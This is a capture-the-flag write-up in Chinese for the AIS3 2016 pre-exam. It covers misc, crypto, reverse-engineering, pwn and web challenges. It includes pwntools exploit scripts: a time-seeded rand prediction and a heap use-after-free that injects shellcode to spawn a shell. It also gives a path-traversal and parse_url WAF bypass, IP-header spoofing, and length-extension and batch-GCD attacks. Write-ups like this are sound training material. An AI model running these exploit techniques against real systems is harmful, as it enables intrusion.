AIS3 2016 pre-exam

MISC

1pt

直接給 flag

2pt

用 xxd 看可以看到 header 有 7Z

修正成 7z 後用 7z l UNPACK_ME

可以確定是 7z file with password, 包非常多層的 7z compressed file

看到有個 size 0 檔名亂數的檔案 當作密碼可以解開第一層 7z

之後每一層都有 secret.txt 裡面有下一層的密碼

寫個 script 跑 總共有 1000 層

3pt

讓你打包一個 guess.txt 檔案上傳 server 用 sha1 檢查 hash 跟 flag 是否一樣

傳一個 symbol link link 到 flag 身上即可


CRYPTO

1pt

xor 加密找加密 key

觀念是嘗試不同的 key 長度 一個一個 byte 去解密 讓他整個檔案出來是 printable

線上工具

2pt

這種讓你提供輸入但是要附上輸入的 hash 有種攻擊叫 length-extension attack

有類似題目的 script

後面 append 合法的 expire 即可

3pt

好像叫做 Batch GCD Attack

就是 rsa 的 n 共用到同一個植樹的話用 GCD 可以很容易質因數分解出 n

但這題目裡有很多組 n 可以被分解 所以都要試試看

另外是這一題的 exponent 不適常用的 65537 這一點我很後面才發現

以後要先讀清楚 key 資訊

openssl rsa -noout -text -inform PEM -in pub/1.pub -pubin

Exponent: 179424787 (0xab1ce13)


BINARY

1pt

直接上 angr

import angr, code
b = angr.Project('./rev')
s = b.factory.blank_state(addr=0x004006B3)
find = 0x0400666
s.regs.rdi = 0x000060106D
arr = []
for i in range(29):
inp = s.se.BVS('input', 8)
s.add_constraints(inp != 0)
arr.append(inp)
nulend = s.se.BVS('f',8)
s.add_constraints(nulend == 0) # null end
ful = s.se.Concat(*(arr+[nulend]))
s.memory.store(0x000060106D, ful)
path_group = b.factory.path_group(s)
ex = path_group.explore(find=0x0004006BC, avoid=(0x0040063C, 0x004006C8))
print ex
print ex.found[0].state.se.any_str(ful)
code.interact(local=locals())
view raw bin1.py hosted with ❤ by GitHub

2pt

這一題轉成 binary file 後用工具看 開頭挺誤導的 還以為是要轉換順序之類的

後來隨便 google 一下裡面的 bytes 查到 asm opcode 立馬開 ida 把 binary file 解成 asm code

發現是 xor 解密的 asm 手動就能解開了

3pt

一樣上 angr (稍微會用 angr 之後都不用動腦了呢)


REMOTE (pwn)

1pt

用 time(0) 去 srand ,只要和 server 時間差不超過一秒的得到的 rand() 序列會相同

from ctypes import *
from pwn import *
r = remote('quiz.ais3.org', 2154)
libc = CDLL("libc.so.6")
t=libc.time(0)
libc.srand(t)
rnd = libc.rand()
r.recvuntil('code:')
r.sendline(str(rnd^0x2016A153))
r.interactive()
view raw remote1.py hosted with ❤ by GitHub

2pt

常見的 scanf 錯誤,參數直接傳入變數而非變數地址

由於 stack 中的殘渣內容會在前面的動作決定,所以可以控制變數內容,直接對GOT地址寫入噴FLAG的地址

推薦使用 qira 可以很快找到 stack 內容變化跟偏移

3pt

不用碰到 libc 的 heap 題,用 checksec 檢查會發現沒有開 NX , 估計是能用 shellcode ,玩一下程式,功能大致如下

  • 一開始有讀入 .bss buffer 可以塞東西
  • student struct 內有 function pointer
  • note malloc size 可控
  • note point 存在 array 中,能 free pointer

一開始的 buffer 是在 bss 上面地址已知,可放入 shellcode ,之後跳 bss 地址即可。

接著找找看 bug, 發現在 free note 之後並沒有將 note array 中 entry 清空,可能導致 UAF, double free 等等問題

因為 student 中有 function pointer, 嘗試將兩個 struct 重疊然後直接寫入 function pointer 到 bss 上面。

這邊倒推想一下:

目標為覆蓋 current_student 上面的 function pointer => 寫入 note 時改寫到 pointer

讓 note struct 疊合 current_student ,首先看一下 note create 是 malloc 出 note buffer 後直接寫入內容 => 必須讓 note malloc 出current_student的位址(或重疊的地址)

為了讓 malloc 出 current_student 的位置,首先 malloc 的 size 要跟 student 一樣,而且 student 那一塊 chunk 要是 free 的

然而並沒有 free student 的功能, 所以先建立並馬上釋放一個 note , size 跟 student 一樣,如此一來 notes array 第一個格子就是 heap 下一次 malloc 同樣 size 會被拿出的 pointer

然後建立 student ,這時 current_student 會跟 notes array 第一格相同,也就是剛剛 free 掉的地址

接著為了要讓 note malloc 再度拿出相同的地址,必須要再 free 一次第一個 note, 因為此時這個 pointer 是被 current_student 使用的

free 完後再 create note with same size 馬上又會拿出和 current_student 相同的 pointer

對此 note 寫入即是覆蓋 student struct

改寫 function pointer 後選 menu 2 Show a student 會 call function pointer 指向的地方

from pwn import *
# r = remote('127.0.0.1', 4001)
r = remote('quiz.ais3.org', 5071)
def add_stu(i, name):
r.recvuntil('Your choice :')
r.sendline('1')
r.recvuntil('ID:')
r.sendline(str(i))
r.recvuntil('Name:')
r.sendline(name)
def add_note(sz, content):
r.recvuntil('Your choice :')
r.sendline('3')
r.recvuntil('Size:')
r.sendline(str(sz))
r.recvuntil('Content:')
r.sendline(content)
def del_note(idx):
r.recvuntil('Your choice :')
r.sendline('5')
r.recvuntil('index:')
r.sendline(str(idx))
r.recvuntil('Welcome, please leave some message for me:')
r.sendline(asm(shellcraft.sh()))
add_note(20, 'a'*20)
del_note(0)
add_stu(1, 'aa')
del_note(0)
add_note(20, p32(0x0804A0E0).ljust(19))
r.interactive()
view raw remote3.py hosted with ❤ by GitHub

WEB

1pt

robots.txt

2pt

header 偽造 src ip

以下都設定為 127.0.0.1

`HTTP_X_FORWARDED_FOR

HTTP_CLIENT_IP

HTTP_X_FORWARDED

HTTP_X_CLUSTER_CLIENT_IP

HTTP_FORWARDED_FOR

HTTP_FORWARDED`

3pt

講一下找 function bug 想法

首先可以下載 php source, p=../download.php 看到裡面有 include waf.php,

waf.php 使用字串解析把 url 的 query 不分拆成 key=>value 然後對黑名單驗證,

由於有用 file_exists 檢查檔案名稱,無法在檔名部分塞東西或編碼,

仔細看一下 waf.php 做的事情跟從 $_GET 取值檢查有87%像,特別自己分析大概就是分析的地方有問題,

比對部分有用 === 所以不是 PHP 常見的比較問題,接著就開始朝 php function bug 部分 google。

發現用 parse_url bug google 可以發現各種歷年來的 BUG ,將時間限定一年內可以在前幾筆看到 這一篇

於是用 ?p=../flag.php&a=ss:88888 便可以拿到 flag